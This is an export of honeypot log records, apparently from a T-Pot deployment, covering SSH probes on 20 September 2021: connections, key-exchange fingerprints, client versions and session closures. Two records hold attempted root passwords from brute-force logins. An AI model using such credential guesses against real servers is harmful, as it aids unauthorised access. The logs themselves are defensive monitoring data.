"sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c0f8f17e80c2", "@version": "1", "timestamp": "2021-09-20T11:06:38.314694Z", "@timestamp": "2021-09-20T11:06:38.314Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21080	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.849428+03	2021-09-20 14:15:03.198613+03	{"_id": "BQbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3b9958767162", "@version": "1", "duration": 2.6116585731506348, "timestamp": "2021-09-20T11:06:38.849428Z", "@timestamp": "2021-09-20T11:06:38.849Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21081	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:39.017916+03	2021-09-20 14:15:03.199613+03	{"_id": "BgbiAnwBvYTbRNuE7wF0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a40db5db1cd5", "@version": "1", "duration": 3.2980329990386963, "timestamp": "2021-09-20T11:06:39.017916Z", "@timestamp": "2021-09-20T11:06:39.017Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21083	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:39.673152+03	2021-09-20 14:15:03.202613+03	{"_id": "CgbiAnwBvYTbRNuE8gEB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 515543903722949, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48448, "dest_port": 22, "timestamp": "2021-09-20T11:06:39.673152Z", "@timestamp": "2021-09-20T11:06:39.673Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21084	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:40.356887+03	2021-09-20 14:15:03.203613+03	{"_id": "IAbiAnwBvYTbRNuE9QHq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 2158688869492609, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 50644, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.356887Z", "@timestamp": "2021-09-20T11:06:40.356Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21085	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.345778+03	2021-09-20 14:15:03.204612+03	{"_id": "MQbiAnwBvYTbRNuE9wFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "7639ba68c7fe", "@version": "1", "duration": 2.831585645675659, "timestamp": "2021-09-20T11:06:40.345778Z", "@timestamp": "2021-09-20T11:06:40.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21086	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:40.545211+03	2021-09-20 14:15:03.205613+03	{"_id": "MgbiAnwBvYTbRNuE9wFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/ceadmin] failed", "session": "f99a71c3f87c", "@version": "1", "password": "ceadmin", "username": "root", "timestamp": "2021-09-20T11:06:40.545211Z", "@timestamp": "2021-09-20T11:06:40.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21087	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:40.618458+03	2021-09-20 14:15:03.206613+03	{"_id": "MwbiAnwBvYTbRNuE9wFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d2b6638962f4", "@version": "1", "duration": 2.7163279056549072, "timestamp": "2021-09-20T11:06:40.618458Z", "@timestamp": "2021-09-20T11:06:40.618Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21088	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.630656+03	2021-09-20 14:15:03.208613+03	{"_id": "NAbiAnwBvYTbRNuE9wFE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "adaa76d4211a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:40.630656Z", "@timestamp": "2021-09-20T11:06:40.630Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21089	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.143015+03	2021-09-20 14:15:03.209614+03	{"_id": "RwbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:50644 (192.168.176.2:22) [session: 88217dc46003]", "session": "88217dc46003", "@version": "1", "protocol": "ssh", "src_port": 50644, "dest_port": 22, "timestamp": "2021-09-20T11:06:40.143015Z", "@timestamp": "2021-09-20T11:06:40.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21090	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:40.826365+03	2021-09-20 14:15:03.210613+03	{"_id": "RgbiAnwBvYTbRNuE9wFI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "adaa76d4211a", "@version": "1", "timestamp": "2021-09-20T11:06:40.826365Z", "@timestamp": "2021-09-20T11:06:40.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21091	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:41.760155+03	2021-09-20 14:15:03.212613+03	{"_id": "VAbiAnwBvYTbRNuE-QHS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1890113827182556, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47686, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.760155Z", "@timestamp": "2021-09-20T11:06:41.760Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21092	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:32.010532+03	2021-09-20 14:15:03.213614+03	{"_id": "nAXiAnwBvYTbRNuE1v-h", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1249534486742328, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49762, "dest_port": 22, "timestamp": "2021-09-20T11:06:32.010532Z", "@timestamp": "2021-09-20T11:06:32.010Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21093	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:32.290692+03	2021-09-20 14:15:03.214613+03	{"_id": "oQXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8a93ac589f64", "@version": "1", "timestamp": "2021-09-20T11:06:32.290692Z", "@timestamp": "2021-09-20T11:06:32.290Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21094	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:33.026016+03	2021-09-20 14:15:03.216614+03	{"_id": "rgXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49526 (192.168.176.2:22) [session: 12375781cb9c]", "session": "12375781cb9c", "@version": "1", "protocol": "ssh", "src_port": 49526, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.026016Z", "@timestamp": "2021-09-20T11:06:33.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21095	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:06:32.163698+03	2021-09-20 14:15:03.217612+03	{"_id": "rwXiAnwBvYTbRNuE1_-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/1qaz#EDC] failed", "session": "eda904d05d15", "@version": "1", "password": "1qaz#EDC", "username": "root", "timestamp": "2021-09-20T11:06:32.163698Z", "@timestamp": "2021-09-20T11:06:32.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
